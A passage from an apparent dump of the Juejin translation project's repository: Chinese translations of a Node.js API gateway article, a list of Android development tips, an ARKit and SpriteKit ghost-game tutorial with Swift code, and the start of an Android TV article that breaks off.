网关中实现速率限制,缓存以及各种可靠性功能。 ## 超负荷的 API 网关 在实现您的 API 网关时,您应避免将非通用逻辑(如特定数据转换)放入您的网关。 服务应该始终拥有他们的**数据域**的**全部所有权**。构建一个超负荷的 API 网关,让**微服务团队**来控制,这违背了微服务的理念。 这就是为什么你应该关注你的 API 网关中的数据聚合 - 你应该避免它有大量逻辑甚至可以包含特定的数据转换或规则处理逻辑。 始终为您的 API 网关定义**明确的责任**,并且只包括其中的通用共享逻辑。 # Node.js API 网关 当您希望在 API 网关中执行简单的操作,比如将请求路由到特定服务,您可以使用像 nginx 这样的**反向代理**。但在某些时候,您可能需要实现一般代理不支持的逻辑。在这种情况下,您可以在 Node.js 中**实现自己的** API 网关。 在 Node.js 中,您可以使用 [http-proxy](https://www.npmjs.com/package/http-proxy) 软件包简单地代理对特定服务的请求,也可以使用更多丰富功能的 [express-gateway](http://www.express-gateway.io/) 来创建 API 网关。 在我们的第一个 API 网关示例中,我们在将代码委托给 **user** 服务之前验证请求。 ```js const express = require('express') const httpProxy = require('express-http-proxy') const app = express() const userServiceProxy = httpProxy('https://user-service') // 身份认证 app.use((req, res, next) => { // TODO: 身份认证逻辑 next() }) // 代理请求 app.get('/users/:userId', (req, res, next) => { userServiceProxy(req, res, next) }) ``` 另一种示例可能是在您的 API 网关中发出新的请求,并将响应返回给客户端: ```js const express = require('express') const request = require('request-promise-native') const app = express() // 解决: GET /users/me app.get('/users/me', async (req, res) => { const userId = req.session.userId const uri = `https://user-service/users/${userId}` const user = await request(uri) res.json(user) }) ``` ## Node.js API 网关总结 API 网关提供了一个共享层,以通过微服务架构来满足客户需求。它有助于保持您的服务小而专注。您可以将不同的通用逻辑放入您的 API 网关,但是您应该避免 API 网关的过度使用,因为很多逻辑可以从服务团队中获得控制。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/building-android-apps-30-things-that-experience-made-me-learn-the-hard-way.md ================================================ > * 原文地址:[Building Android Apps — 30 things that experience made me learn the hard way](https://medium.com/@cesarmcferreira/building-android-apps-30-things-that-experience-made-me-learn-the-hard-way-313680430bf9#.6cszf7t9m) * 原文作者:[César Ferreira](https://medium.com/@cesarmcferreira) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者: [Nicolas(Yifei) Li](https://github.com/yifili09) * 校对者:[PhxNirvana](https://github.com/phxnirvana), [XHShirley](https://github.com/XHShirley) # 构建 Android 应用程序一定要绕过的 30 个坑 来自 [https://ramotion.com](https://ramotion.com) 的惊艳设计 学习领域有两类人 - 一类是那些通过艰苦努力一步一步学习的人,一类是学习别人的经验教训走捷径的人。在此,我想分享一些自己的经验给大家: 1. 添加使用第三方依赖库前,请再三思考,它**绝对是一个慎重的**决定; 2. 如果用户看不见有些界面, [**请一定不要绘制它**](http://riggaroo.co.za/optimizing-layouts-in-android-reducing-overdraw/)!; 3. 除非**真的需要**,否则不要使用数据库; 4. 应用程序中 65k 方法数的限制很快就能达到,我意思是真的很快![不过 **multidexing** 能拯救你](https://medium.com/@rotxed/dex-skys-the-limit-no-65k-methods-is-28e6cb40cf71); 5. [RxJava](https://github.com/ReactiveX/RxJava) 是对 [AsyncTask 和其它异步任务类](https://medium.com/swlh/party-tricks-with-rxjava-rxandroid-retrolambda-1b06ed7cd29c) **最好的**替代品; 6. [Retrofit](http://square.github.io/retrofit/) 是目前 android **最好的处理网络事务的依赖库** 7. 使用 [**Retrolambda**](https://medium.com/android-news/retrolambda-on-android-191cc8151f85) 来精简你的代码; 8. [**把 RxJava 与 Retrofit 和 Retrolambda 整合在一起**](https://medium.com/swlh/party-tricks-with-rxjava-rxandroid-retrolambda-1b06ed7cd29c) 来达到最佳效果!; 9. [EventBus](https://github.com/greenrobot/EventBus) 非常好用, 但是我**不会**使用太多因为它会让代码库变得更混乱; 10. [按照应用功能来封装,而非所属类别](https://medium.com/the-engineering-team/package-by-features-not-layers-2d076df1964d); 11. 把_每一个事务_都从应用程序主线程移除; 12. [lint](http://developer.android.com/tools/help/layoutopt.html) 这个工具能帮助优化你的界面和层级,所以你能识别出哪些是可能被移除的重复视图; 13. 如果你正在用 _gradle_ , [尽你所能加速它的执行效率](https://medium.com/the-engineering-team/speeding-up-gradle-builds-619c442113cb); 14. 执行一个 [Profile report / 构建分析报告](https://medium.com/the-engineering-team/speeding-up-gradle-builds-619c442113cb) 来检查下构建的过程中时间都花费在哪里了; 15. 使用一个 [众所周知的代码架构](http://fernandocejas.com/2015/07/18/architecting-android-the-evolution/) ; 16. [测试会花费很多时间,一旦你被某个问题困住,你就会明白有了测试用例会让你提高开发效率并且增加应用程序的健壮性。](http://stackoverflow.com/a/67500/794485) ; 17. 请使用 [依赖注入](http://fernandocejas.com/2015/04/11/tasting-dagger-2-on-android/) 来使你的应用程序更模块化,因此它也更加容易被测试; 18. 收听 [Fragmented 播客](http://fragmentedpodcast.com/) 会大大帮助你; 19. [**永远不要** 使用你的个人 email 作为 android 应用发布市场的账号名](https://www.reddit.com/r/Android/comments/2hywu9/google_play_only_one_strike_is_needed_to_ruin_you/); 20. **请一直**使用 [合适的](http://developer.android.com/training/keyboard-input/style.html) 输入类型; 21. 使用 **Analytics** 来查找可用的模式和分离 bug; 22. 保持最新的 [依赖库](http://android-arsenal.com/) (使用 [dryrun](https://github.com/cesarferreira/dryrun) 来更快的测试他们); 23. 你的服务应该尽快执行所需要的任务并且及时**被终止**; 24. 使用 [Account Manager](http://developer.android.com/reference/android/accounts/AccountManager.html) 来提示登录的用户名和 email 地址; 25. 使用 **CI** (持续集成) 来构建和分发你的测试和生产环境的 `apk`; 26. 请不要建立和运行你自己的 **CI** 服务器,维护这个服务器是很耗时的,因为会有磁盘空间问题,磁盘安全性问题 / 升级服务器来避免来自 `SSL` 漏洞的攻击,等等。可以使用 `circleci`,`travis`,`shippable`,他们不是很贵并且只需要关注价格就行; 27. [使用 `playstore` 来自动化你的发布过程;](https://github.com/Triple-T/gradle-play-publisher) 28. 如果一个依赖库很庞大并且你只是使用其中一小部分的功能,你应该考虑一些其他**更精简**的选择 (比如可以依赖 [proguard](http://developer.android.com/tools/help/proguard.html)); 29. 不要使用你不需要的模块。如果_那个_模块并不需要常常修改,考虑从零开始构建的时间是很重要的(使用 **CI** 构建就是一个很好的例子),或者检查之前那个单独构建的模块是否是最新的,相比起来只是简单的装载那些二进制的 `.jar/.aar` 依赖库,它能带来 4 倍的提升; 30. [开始考虑用 SVG 替换 PNG](http://developer.android.com/tools/help/vector-asset-studio.html); 31. 如果你只需要改变一个地方(例如,**_AppLogger.d(“message”)_** 能包含 **_Log.d(TAG, message)_** 并且之后发现 [**_Timber.d(message)_**](https://github.com/JakeWharton/timber) 会是一个更好的解决方案),为依赖库制作抽象的类会让切换到新库变得很容易; 32. 监视连接状态和连接的种类 (**在 WIFI 连接状态下,是不是有更多的数据更新**?); 33. 监视电源和电池 (**在充电的过程中,是不是有更多的数据更新? 当电池电量低的时候,更新过程会不会被暂缓**); 34. 如果一个笑话是需要解释才能明白的话,那肯定是一个失败的笑话,用户界面亦是如此; 35. [测试能带来性能的提升: 慢工出细活(并且保证内容的正确性),之后验证优化,这不会影响任何测试内容。](https://twitter.com/danlew42/status/677151453476032512) 如果你对上面的建议有任何问题,请通过 tweet @[cesarmcferreira](https://twitter.com/cesarmcferreira) 告诉我! ================================================ FILE: TODO/building-ar-game-arkit-spritekit.md ================================================ > * 原文地址:[Building an AR game with ARKit and Spritekit](https://blog.pusher.com/building-ar-game-arkit-spritekit/) > * 原文作者:[Esteban Herrera](https://github.com/eh3rrera) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-ar-game-arkit-spritekit.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-ar-game-arkit-spritekit.md) > * 译者:[Danny Lau](https://github.com/Danny1451) > * 校对者:[KnightJoker](https://github.com/KnightJoker),[LJ147](https://github.com/LJ147) # 巧用 ARKit 和 SpriteKit 从零开始做 AR 游戏 **这篇文章隶属于 [Pusher 特邀作者计划](https://pusher.com/guest-writer-program)。** [ARKit](https://developer.apple.com/arkit/) 是一个全新的苹果框架,它将设备运动追踪,相机捕获和场景处理整合到了一起,可以用来构建[增强现实(Augmented Reality, AR)](https://en.wikipedia.org/wiki/Augmented_reality) 的体验。 在使用 ARKit 的时候,你有三种选项来创建你的 AR 世界: - SceneKit,渲染 3D 的叠加内容。 - SpriteKit,渲染 2D 的叠加内容。 - Metal,自己为 AR 体验构建的视图 在这个教程里,我们将通过创建一个游戏来学习 ARKit 和 SpriteKit 的基础,游戏是受 Pokemon Go 的启发,添加了幽灵元素,看下下面这个视频吧: [![](https://i.ytimg.com/vi_webp/0mmaLiuYAho/maxresdefault.webp)](https://www.youtube.com/embed/0mmaLiuYAho) 每几秒钟,就会有一个小幽灵随机出现在场景里,同时在屏幕的左下角会有一个计数器不停在增加。当你点击幽灵的时候,它会播放一个音效同时淡出而且计数器也会减小。 项目的代码已经放在了 [GitHub](https://github.com/eh3rrera/ARKitGameSpriteKit) 上了。 让我们首先检查一下开发和运行这个项目的需要哪些东西。 ## 你将会需要的 首先,为了完整的 AR 体验,ARKit 要求一个带有 A9 或者更新的处理器的 iOS 设备。换句话说,你至少需要一台 iPhone6s 或者有更高处理器的设备,比如 iPhoneSE,任何版本的 iPad Pro,或者 2017 版的 iPad。 ARKit 是 iOS 11 的一个特性,所以你必须先装上这个版本的 SDK,并用 Xcode 9 来开发。在写这篇文章的时候,iOS 11 和 Xcode 9 仍然是在测试版本,所以你要先加入到[苹果开发者计划](https://developer.apple.com/programs/),不过苹果现在也向公众发布了免费的开发者账号。你可以在[这里](https://9to5mac.com/2017/06/26/how-to-install-ios-11-public-beta-on-your-eligible-iphone-ipad-or-ipod-touch/)找到更多关于安装 iOS 11 beta 的信息和[这里](https://developer.apple.com/download/)找到关于安装 Xcode beta 的信息。 为了避免之后版本的改动,这个应用的教程是通过 Xcode beta 2 来构建的。 在这个游戏中,我们需要表示幽灵的图片和它被移除时的音效。[OpenGameArt.org](https://opengameart.org) 是一个非常棒的获取免费游戏资源的网站。我选了这个[幽灵图片](https://opengameart.org/content/ghosts) 和这个[幽灵音效](https://opengameart.org/content/ghost),当然你也可以用任何你想要用的文件。 ## 新建项目 打开 Xcode 9 并且新建一个 AR 应用: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-01-createProject.png) 输入项目的信息,选择 Swift 作为开发语言并把 SpriteKit 作为内容技术,接着创建项目: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-01-createProject2.png) 目前 AR 不能够在 iOS 模拟器上测试,所以我们需要在真机上进行测试。为此,我们需要开发者账号来注册我们的应用。如果暂时没有的话,把你的开发账号添加到 Xcode 上并且选择你的团队来注册你的应用: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-02-developmentTeam-774x600.png) 如果你没有一个付过费的开发者账号的话,你会有一些限制,比如你每七天只能够创建 10 个 App ID 而且你不能够在你的设备上安装超过 3 个以上的应用。 在你第一次在你的设备上安装应用的时候,你可能会被要求信任设备上的证书,就跟着下面的指导: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-03-Trust.png) 就像这样,当应用运行的时候,你会被请求给予摄像头权限: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-07-camera-permission.png) 之后,在你触摸屏幕的时候,一个新的精灵会被加到场景上去,并且根据摄像头的角度来调整位置。 [![](https://i.ytimg.com/vi_webp/NyIHEM69skU/maxresdefault.webp)](https://www.youtube.com/watch?v=NyIHEM69skU) 现在这个项目已经搭建完成了,让我们来看下代码吧。 ## SpriteKit 如何和 ARKit 一起工作 如果你打开 `Main.storyboard`,你会发现有个 [ARSKView](https://developer.apple.com/documentation/arkit/arskview) 填满了整个屏幕: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-04-storyboard-836x600.png) 这个视图将来自设备摄像头的实时视频,渲染为场景的背景,将 2D 的图片(以 SpriteKit 的节点)加到 3D 的空间中( 以 [ARAnchor](https://developer.apple.com/documentation/arkit/aranchor) 对象)。当你移动设备的时候,这个视图会根据锚点( `ARAnchor` 对象)自动旋转和缩放这个图像( SpriteKit 节点),所以他们看上去就像是通过摄像头跟踪的真实的世界。 这个界面是通过 `ViewController.swift` 这个类来管理的。首先,在 `viewDidLoad` 方法中,它打开了界面的一些调试选项,然后通过这个自动生成的场景 `Scene.sks` 来创建 SpriteKit 场景: ``` override func viewDidLoad() { super.viewDidLoad() // 设置视图的代理 sceneView.delegate = self // 展示数据,比如 fps 和节点数 sceneView.showsFPS = true sceneView.showsNodeCount = true // 从 'Scene.sks' 加载 SKScene if let scene = SKScene(fileNamed: "Scene") { sceneView.presentScene(scene) } } ``` 接着,`viewWillAppear` 方法通过 [ARWorldTrackingSessionConfiguration](https://developer.apple.com/documentation/arkit/arworldtrackingsessionconfiguration) 类来配置这个会话。这个会话( [ARSession](https://developer.apple.com/documentation/arkit/arsession) 对象)负责管理创建 AR 体验所需要的运动追踪和图像处理: ``` override func viewWillAppear(_ animated: Bool) { super.viewWillAppear(animated) // 创建会话配置 let configuration = ARWorldTrackingSessionConfiguration() // 运行视图的会话 sceneView.session.run(configuration) } ``` 你可以用 `ARWorldTrackingSessionConfiguration` 类来配置该会话通过[六个自由度(6DOF)](https://en.wikipedia.org/wiki/Six_degrees_of_freedom)中追踪物体的移动。三个旋转角度: - Roll,在 X-轴 的旋转角度 - Pitch,在 Y-轴 的旋转角度 - Yaw,在 Z-轴 的旋转角度 和三个平移值: - Surging,在 X-轴 上向前向后移动。 - Swaying,在 Y-轴 上左右移动。 - Heaving,在 Z-轴 上上下移动。 或者,你也可以用 [ARSessionConfiguration](https://developer.apple.com/documentation/arkit/arsessionconfiguration) ,它提供了 3 个自由度,支持低性能设备的简单运动追踪。 往下几行,你会发现这个方法 `view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode?` 。当一个锚点被添加的时候,这个方法为即将添加到场景上的锚点提供了一个自定义节点。在当前的情况下,它会返回一个 [SKLabelNode](https://developer.apple.com/documentation/spritekit/sklabelnode) 来展示这个面向用户的 emoji : ``` func view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode? { // 为加上视图会话的锚点增加和配置节点 let labelNode = SKLabelNode(text: "👾") labelNode.horizontalAlignmentMode = .center labelNode.verticalAlignmentMode = .center return labelNode; } ``` 但是这个锚点什么时候创建的呢? 它是在 `Scene.swift` 文件中完成的,在这个管理 Sprite 场景(`Scene.sks`)的类中,特别地,这个方法中: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { guard let sceneView = self.view as? ARSKView else { return } // 通过摄像头当前的位置创建锚点 if let currentFrame = sceneView.session.currentFrame { // 创建一个往摄像头前面平移 0.2 米的转换 var translation = matrix_identity_float4x4 translation.columns.3.z = -0.2 let transform = simd_mul(currentFrame.camera.transform, translation) // 在会话上添加一个锚点 let anchor = ARAnchor(transform: transform) sceneView.session.add(anchor: anchor) } } ``` 就像你从注释中可以看到的,它通过摄像头当前的位置创建了一个锚点,然后新建了一个矩阵来把锚点定位在摄像头前 0.2m 处,并把它加到场景中。 ARAnchor 使用一个 [4×4 的矩阵](https://developer.apple.com/documentation/scenekit/scnmatrix4) 来代表和它相对应的对象在一个三维空间中的位置,角度或者方向,和缩放。 在 3D 编程的世界里,矩阵用来代表图形化的转换比如平移,缩放,旋转和投影。通过矩阵的乘法,多个转换可以连接成一个独立的变换矩阵。 这是一篇关于[转换背后的数学](http://ronnqvi.st/the-math-behind-transforms/)很好的博文。同样的,在[核心动画指南中关于操作 3D 界面中层级一章](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreAnimation_guide/CoreAnimationBasics/CoreAnimationBasics.html#//apple_ref/doc/uid/TP40004514-CH2-SW18) 中你也可以找到一些常用转换的矩阵配置。 回到代码中,我们以一个特殊的矩阵开始(`matrix_identity_float4x4`): ``` 1.0 0.0 0.0 0.0 // 这行代表 X 0.0 1.0 0.0 0.0 // 这行代表 Y 0.0 0.0 1.0 0.0 // 这行代表 Z 0.0 0.0 0.0 1.0 // 这行代表 W ``` > 如果你想知道 W 是什么: > > 如果 w == 1,那么这个向量 (x, y, z, 1) 是空间中的一个位置。 > > 如果 w == 0,那么这个向量 (x, y, z, 0) 是一个方向。 > > [http://www.opengl-tutorial.org/beginners-tutorials/tutorial-3-matrices/](http://www.opengl-tutorial.org/beginners-tutorials/tutorial-3-matrices/) 接着,Z-轴列的第三个值改为了 -0.2 代表着在这个轴上有平移(负的 z 值代表着把对象放置到摄像头之前)。 如果你这个时候打印了平移矩阵值的话,你会看见它打印了一个向量数组,每个向量代表了一列。 ``` [ [1.0, 0.0, 0.0, 0.0 ], [0.0, 1.0, 0.0, 0.0 ], [0.0, 0.0, 1.0, 0.0 ], [0.0, 0.0, -0.2, 1.0 ] ] ``` 这样子可能看起来更简单一点: ``` 0 1 2 3 // 列号 1.0 0.0 0.0 0.0 // 这一行代表着 X 0.0 1.0 0.0 0.0 // 这一行代表着 Y 0.0 0.0 1.0 -0.2 // 这一行代表着 Z 0.0 0.0 0.0 1.0 // 这一行代表着 W ``` 接着,这个矩阵会乘上当前摄像头帧的平移矩阵得到最后用来放置新锚点的矩阵。举个例子,假设是如下的相机转换矩阵(以一个列的数组的形式): ``` [ [ 0.103152, -0.757742, 0.644349, 0.0 ], [ 0.991736, 0.0286687, -0.12505, 0.0 ], [ 0.0762833, 0.651924, 0.754438, 0.0 ], [ 0.0, 0.0, 0.0, 1.0 ] ] ``` 那么相乘的结果将是: ``` [ [0.103152, -0.757742, 0.644349, 0.0 ], [0.991736, 0.0286687, -0.12505, 0.0 ], [0.0762833, 0.651924, 0.754438, 0.0 ], [-0.0152567, -0.130385, -0.150888, 1.0 ] ] ``` 这里是关于[矩阵如何相乘](https://www.mathsisfun.com/algebra/matrix-multiplying.html)的更多信息,这是一个[矩阵乘法计算器](http://matrix.reshish.com/multiplication.php)。 现在你知道这个例子是如何工作的了,让我们修改它来创建我们的游戏吧。 ## 构建 SpriteKit 的场景 在 Scene.swift 的文件中,让我们加上如下的配置: ``` class Scene: SKScene { let ghostsLabel = SKLabelNode(text: "Ghosts") let numberOfGhostsLabel = SKLabelNode(text: "0") var creationTime : TimeInterval = 0 var ghostCount = 0 { didSet { self.numberOfGhostsLabel.text = "\(ghostCount)" } } ... } ``` 我们增加了两个标签,一个代表了场景中的幽灵的数量,控制幽灵产生的时间间隔,和幽灵的计数器,它有个属性观察器,每当它的值变化的时候,标签就会更新。 接下来,下载幽灵移除时播放的音效,并把它拖到项目中: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-06-addImages-1.gif) 把下面这行加到类里面: ``` let killSound = SKAction.playSoundFileNamed("ghost", waitForCompletion: false) ``` 我们稍后调用这个动作来播放音效。 在 `didMove` 方法中,我们把标签加到场景中: ``` override func didMove(to view: SKView) { ghostsLabel.fontSize = 20 ghostsLabel.fontName = "DevanagariSangamMN-Bold" ghostsLabel.color = .white ghostsLabel.position = CGPoint(x: 40, y: 50) addChild(ghostsLabel) numberOfGhostsLabel.fontSize = 30 numberOfGhostsLabel.fontName = "DevanagariSangamMN-Bold" numberOfGhostsLabel.color = .white numberOfGhostsLabel.position = CGPoint(x: 40, y: 10) addChild(numberOfGhostsLabel) } ``` 你可以用像 [iOS Fonts](http://iosfonts.com/) 的站点来可视化的选择标签的字体。 这个位置坐标代表着屏幕左下角的部分(相关代码稍后会解释)。我选择把它们放在屏幕的这个区域是为了避免转向的问题,因为场景的大小会随着方向改变而变化,但是,坐标保持不变,会引起标签显示超过屏幕或者在一些奇怪的位置(可以通过重写 `didChangeSize` 方法或者使用 [UILabels](https://developer.apple.com/documentation/uikit/uilabel) 替换 [SKLabelNodes](https://developer.apple.com/documentation/spritekit/sklabelnode) 来解决这一问题)。 现在,为了在固定的时间间隔创建幽灵,我们需要一个定时器。这个更新方法会在每一帧(平均 60 次每秒)渲染之前被调用,可以像下面这样帮助我们: ``` override func update(_ currentTime: TimeInterval) { // 在每一帧渲染之前调用 if currentTime > creationTime { createGhostAnchor() creationTime = currentTime + TimeInterval(randomFloat(min: 3.0, max: 6.0)) } } ``` 参数 `currentTime` 代表着当前应用中的时间,所以如果它大于 `creationTime` 所代表的时间,一个新的幽灵锚点会创建, `creationTime` 也会增加一个随机的秒数,在这个例子里面,是在 3 到 6 秒。 这是 `randomFloat` 的定义: ``` func randomFloat(min: Float, max: Float) -> Float { return (Float(arc4random()) / 0xFFFFFFFF) * (max - min) + min } ``` 在 `createGhostAnchor` 方法中,我们需要获取场景的界面: ``` func createGhostAnchor(){ guard let sceneView = self.view as? ARSKView else { return } } ``` 接着,因为在接下来的函数中我们都要与弧度打交道,让我们先定义一个弧度的 360 度: ``` func createGhostAnchor(){ ... let _360degrees = 2.0 * Float.pi } ``` 现在,为了把幽灵放置在一个随机的位置,我们分别创建一个随机 X-轴旋转和 Y-轴旋转矩阵: ``` func createGhostAnchor(){ ... let rotateX = simd_float4x4(SCNMatrix4MakeRotation(_360degrees * randomFloat(min: 0.0, max: 1.0), 1, 0, 0)) let rotateY = simd_float4x4(SCNMatrix4MakeRotation(_360degrees * randomFloat(min: 0.0, max: 1.0), 0, 1, 0)) } ``` 幸运的是,我们不需要去手动地创建这个旋转矩阵,有一些函数可以返回一个表示旋转,平移或者缩放的转换信息矩阵。 在这个例子中,[SCNMatrix4MakeRotation](https://developer.apple.com/documentation/scenekit/1409686-scnmatrix4makerotation) 返回了一个表示旋转变换的矩阵。第一个参数代表了旋转的角度,要用弧度的形式。在这个表达式 `_360degrees * randomFloat(min: 0.0, max: 1.0)` 中得到一个在 0 到 360 度中的随机角度。 剩下的 `SCNMatrix4MakeRotation` 的参数,代表了 X,Y 和 Z 轴各自的旋转,这就是为什么我们第一次调用的时候把 1 作为 X 的参数,而第二次的时候把 1 作为 Y 的参数。 `SCNMatrix4MakeRotation` 的结果通过 `simd_float4x4` 结构体转换为一个 4x4 的矩阵。 > 如果你正在使用 Xcode 9 Beta 1 的话,你应该用 SCNMatrix4ToMat4 ,在 Xcode 9 Beta 2 中它被 simd_float4x4 替换了。 我们可以通过矩阵乘法来组合两个旋转矩阵: ``` func createGhostAnchor(){ ... let rotation = simd_mul(rotateX, rotateY) } ``` 接着,我们创建一个 Z-轴是 -1 到 -2 之间的随机值的转换矩阵。 ``` func createGhostAnchor(){ ... var translation = matrix_identity_float4x4 translation.columns.3.z = -1 - randomFloat(min: 0.0, max: 1.0) } ``` 组合旋转和位移矩阵: ``` func createGhostAnchor(){ ... let transform = simd_mul(rotation, translation) } ``` 创建并把这个锚点加到该会话中: ``` func createGhostAnchor(){ ... let anchor = ARAnchor(transform: transform) sceneView.session.add(anchor: anchor) } ``` 并且增加幽灵计数器: ``` func createGhostAnchor(){ ... ghostCount += 1 } ``` 现在唯一剩下没有加的就是当用户触摸一个幽灵并移动它的代码。首先重写 `touchesBegan` 来获取到触摸的物体: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { guard let touch = touches.first else { return } } ``` 接着获取该触摸在 AR 场景中的位置: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { ... let location = touch.location(in: self) } ``` 获取在该位置的所有节点: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { ... let hit = nodes(at: location) } ``` 获取第一个节点(如果有的话),检查这个节点是不是代表着一个幽灵(记住标签同样也是一个节点): ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { ... if let node = hit.first { if node.name == "ghost" { } } } ``` 如果就这个节点的话,组合淡出和音效动作,创建一个动作序列并执行它,同时减小幽灵的计数器: ``` override func touchesBegan(_ touches: Set, with event: UIEvent?) { ... if let node = hit.first { if node.name == "ghost" { let fadeOut = SKAction.fadeOut(withDuration: 0.5) let remove = SKAction.removeFromParent() // 组合淡出和音效动画 let groupKillingActions = SKAction.group([fadeOut, killSound]) // 创建动作序列 let sequenceAction = SKAction.sequence([groupKillingActions, remove]) // 执行动作序列 node.run(sequenceAction) // 更新计数 ghostCount -= 1 } } } ``` 到这里,我们的场景已经完成了,现在我们开始处理 `ARSKView` 的视图控制器。 ## 构建视图控制器 在 viewDidLoad 中,不再加载 Xcode 为我们创建的场景,让我们通过这种方式来创建我们的场景: ``` override func viewDidLoad() { ... let scene = Scene(size: sceneView.bounds.size) scene.scaleMode = .resizeFill sceneView.presentScene(scene) } ``` 这会确保我们的场景可以填满整个界面,甚至整个屏幕(在 `Main.storyboard` 中定义的 `ARSKView` 填满了整个屏幕)。这同样也有助于把游戏的标签定位在屏幕的左下角,根据场景中定义的位置坐标。 现在,现在是时候添加幽灵图片了。在我的例子中,图片的格式原来是 SVG ,所以我转换到了 PNG ,并且为了简单起见,只加了图片中的前 6 个幽灵,创建了 2X 和 3X 版本(我没看见创建 1X 版本的地方,因此采用了缩放策略的设备不能够正常的运行这个应用)。 把图片拖到 `Assets.xcassets` 中: ![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-06-addImages.gif) 注意图像名字最后的数字 - 这会帮我们随机选择一个图片创建 SpriteKit 节点。用这个替换 `view(_ view: ARSKView, nodeFor anchor: ARAnchor)` 中的代码: ``` func view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode? { let ghostId = randomInt(min: 1, max: 6) let node = SKSpriteNode(imageNamed: "ghost\(ghostId)") node.name = "ghost" return node } ``` 我们给所有的节点同样的名字 *ghost* ,所以在移除它们的时候我们可以识别它们。 当然,不要忘了 randomInt 方法: ``` func randomInt(min: Int, max: Int) -> Int { return min + Int(arc4random_uniform(UInt32(max - min + 1))) } ``` 现在我们已经完成了所有工作!让我们来测试它吧! ## 测试应用 在真机上运行这个应用,赋予摄像头权限,并且开始在所有方向中寻找幽灵: [![](https://i.ytimg.com/vi_webp/0mmaLiuYAho/maxresdefault.webp)](https://www.youtube.com/embed/0mmaLiuYAho) 每 3 到 6 秒就会出现一个新的幽灵,计数器也会更新,每当你击中一个幽灵的时候就会播放一个音效。 试着让计数器归零吧! ## 结论 关于 ARKit 有两个非常棒的地方。第一是只需要几行代码我们就能创建神奇的 AR 应用,第二个,我们也能学习到 SpriteKit 和 SceneKit 的知识。 ARKit 实际上只有很少的量的类,更重要的是去学会如何运用上面提到的框架,而且稍加调整就能创造出 AR 体验。 你可以通过增加游戏规则,引入奖励分数或者改变图像和声音来扩展这个应用。同样的,使用 [Pusher](https://pusher.com/),你可以同步游戏状态来增加多人游戏的特性。 记住你可以在这个 [GitHub 仓库](https://github.com/eh3rrera/ARKitGameSpriteKit)中找到 Xcode 项目。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/building-for-the-future-of-tv-with-android.md ================================================ > * 原文地址:[Building for the future of TV with Android](https://medium.com/googleplaydev/building-for-the-future-of-tv-with-android-1f4916f3cc3e) > * 原文作者:[Rachel Berk](https://medium.com/@rachelberk?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/building-for-the-future-of-tv-with-android.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-for-the-future-of-tv-with-android.md) > * 译者:[JayZhaoBoy](https://github.com/JayZhaoBoy) > * 校对者:[hanliuxin5](https://github.com/hanliuxin5), [LeeSniper](https://github.com/LeeSniper) # 利用 Android 构建 TV 的未来 ## 在大屏幕上吸引观众的新功能 ![](https://cdn-images-1.medium.com/max/800/0*JKnE3YVaPD7Kmj4o.) 天气寒冷,假期也已经过去,这也是我一年中喜欢挤出点时间舒舒服服看电视的日子。我非常喜欢看 PBS(公共电视网)的 Great British Baking Show(英国烘焙大赛);孩子和工作带来的混乱消失不见,我沉浸在 Viennese Whirls(维也纳饼干)的妙处之中。通过观看我的新 Android TV,我可以轻松找到上次观看的位置,通过智能助理,我可以知道暴风雪即将来临,然而我可以继续舒服的躺在我的沙发上捧着一杯热茶,观看参赛者们学习制作 Victorian Tennis Cake(维多利亚网球蛋糕)。 抛开个人的观看喜好,作为 Android 和 Google Play 